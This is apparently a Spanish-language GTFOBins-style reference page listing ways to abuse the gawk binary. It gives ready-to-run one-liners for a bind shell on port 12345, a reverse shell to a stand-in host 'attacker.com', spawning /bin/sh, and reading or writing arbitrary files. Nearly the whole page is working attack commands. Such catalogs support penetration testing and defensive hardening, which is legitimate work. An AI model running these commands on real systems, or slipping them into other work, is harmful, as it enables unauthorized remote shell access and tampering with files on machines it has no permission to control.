./gawk --examples
Funciones y ejemplos de uso
bind-shell
gawk 'BEGIN {
s = "/inet/tcp/12345/0/0";
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
file-read
gawk '//' /path/to/input-file
file-write
gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'
reverse-shell
gawk 'BEGIN {
s = "/inet/tcp/0/attacker.com/12345";
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
shell
gawk 'BEGIN {system("/bin/sh")}'
./related --binary=gawk
Binarios relacionados
Comparten al menos una función con gawk.